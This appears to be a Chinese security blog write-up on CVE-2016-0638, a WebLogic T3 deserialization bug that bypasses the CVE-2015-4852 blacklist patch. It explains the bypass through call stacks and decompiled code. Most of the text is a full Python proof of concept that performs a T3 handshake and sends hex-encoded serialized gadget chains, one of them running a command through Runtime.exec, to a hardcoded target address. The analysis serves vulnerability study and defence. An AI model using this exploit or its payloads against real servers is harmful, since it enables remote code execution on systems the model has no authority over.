Weblogic t3反序列化之二： cve_2016_0638
Weblogic T3反序列化之二： CVE-2016-0638
0x00 漏洞描述
这个漏洞其实是对CVE-2015-4852补丁的绕过。
关于T3反序列化，有多个CVE：
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2628
- CVE-2018-2893
0x01 漏洞分析
既然是对CVE-2015-4852的补丁绕过，那一定跟4852的调用栈很像了。
readExternal:1417, StreamMessageImpl (weblogic.jms.common)
readExternalData:1814, ObjectInputStream (java.io)
readOrdinaryObject:1773, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
信息 1 CVE-2016-0638调用栈
对比一下CVE-2015-4852的调用栈：
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
信息 2 CVE-2015-4852调用栈
区别是在readOrdinaryObject走向了不同的分支：
/weblogic/10.3.6/jdk/jdk1.6.0_45/src.zip!/java/io/ObjectInputStream.java
if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}
信息 3
但在此之前，都经历了：
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
信息 4
这里的ObjectInputStream::readObject对应的代码：
weblogic/rjvm/InboundMsgAbbrev.class
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch(var2) {
case 0:
return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject(); ---5.1
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}
信息 5
5.1处的代码是不是很熟悉，这正是CVE-2015-4852加补丁代码的地方，那么新的CVE-2016-0638也走了同样的路，为什么没有被拦截呢？是如何绕过的呢？继续看。
上述信息 4调用中，有对应以下代码：
void read(MsgAbbrevInputStream var1, BubblingAbbrever var2) throws IOException, ClassNotFoundException {
int var3 = var1.readLength();
for(int var4 = 0; var4 < var3; ++var4) { --- 6.1
int var5 = var1.readLength();
Object var6;
if (var5 > var2.getCapacity()) {
var6 = this.readObject(var1); ---6.2
var2.getAbbrev(var6);
this.abbrevs.push(var6);
} else {
var6 = var2.getValue(var5);
this.abbrevs.push(var6);
}
}
}
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch(var2) {
case 0:
return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject(); ---6.3
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}
信息 6
6.1处其实是循环处理inputStream即var1中的全部序列化后的object(ac ed 00开头的)，所以理论上PoC中每个序列化后的object都会进6.3进行反序列化，所以CVE-2015-4852就在6.3对应的ServerChannelInputStream添加了黑名单类、包名扫描。
后来有人发现了一个监控盲点，即StreamMessageImpl::readExternal，这个函数很有意思，它会自己用额外的ObjectInputStream来处理一个序列化后的对象，对应6.1，就是“偷走了“一个object放到了StreamMessageImpl::readExternal里面处理，而StreamMessageImpl::readExternal里面是没有黑名单过滤的。
先看看StreamMessageImpl::readExternal：
weblogic/jms/common/StreamMessageImpl.class
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch(var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4); ---7.1
this.setBodyWritable(true);
this.setPropertiesWritable(true);
try {
while(true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
信息 7
7.1处有新的ObjectInputStream，会从6.1处偷走一个序列化后的object，而这个object正是原黑名单中的：
信息 8
很显然这个Object原本应该在6.3处被反序列化的，但现在StreamMessageImpl::readExternal中反序列化了，自然不会被黑名单扫描了。
0x02 漏洞PoC
见参考 1
这里贴出来供参考：
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import logging
import socket
import sys
import time
import re
logging.basicConfig(filename='Weblogic.log',
format='%(asctime)s %(message)s',
filemode="w", level=logging.INFO)
VUL=['CVE-2016-0638']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl']
def t3handshake(sock,server_addr):
sock.connect(server_addr)
xx = bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(xx)
time.sleep(1)
sock.recv(1024)
def buildT3RequestObject(sock,rport):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
xx = bytes.fromhex(d)
sock.send(xx)
time.sleep(2)
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
xx = bytes.fromhex(payload)
sock.send(xx)
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def checkVul(res,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
logging.info('[+]The target weblogic has a JAVA deserialization vulnerability:{}'.format(VUL[index]))
print ('[+]The target weblogic has a JAVA deserialization vulnerability:{}'.format(VUL[index]))
else:
logging.info('[-]Target weblogic not detected {}'.format(VUL[index]))
print ('[-]Target weblogic not detected {}'.format(VUL[index]))
def run(rip,rport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
server_addr = (rip, rport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,rport)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,index)
if __name__=="__main__":
dip = '172.16.100.97'
dport = 7001
run(dip,dport,0)
信息 9
0x03 补丁
略
0x04 参考
- “WeblogicScan” _https://github.com/rabbitmask/WeblogicR